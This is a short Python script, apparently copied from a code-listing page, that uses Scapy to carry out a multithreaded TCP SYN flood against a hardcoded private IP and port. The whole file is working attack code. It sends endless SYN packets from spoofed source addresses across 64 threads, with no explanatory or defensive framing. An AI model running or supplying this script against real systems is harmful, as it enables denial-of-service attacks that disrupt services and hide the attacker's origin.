1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from scapy.all import IP, TCP, send import random import threading
def syn_flood(target_ip, target_port): while True: ip = IP(src="192.168.1." + str(random.randint(1, 255)), dst=target_ip) syn = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1, 1000)) packet = ip / syn send(packet, verbose=False)
def start_syn_flood(target_ip, target_port, num_threads=10): threads = [] for _ in range(num_threads): thread = threading.Thread(target=syn_flood, args=(target_ip, target_port)) thread.start() threads.append(thread) for thread in threads: thread.join()
if __name__ == "__main__": target_ip = "192.168.201.180" target_port = 2333 start_syn_flood(target_ip, target_port, num_threads=64)
|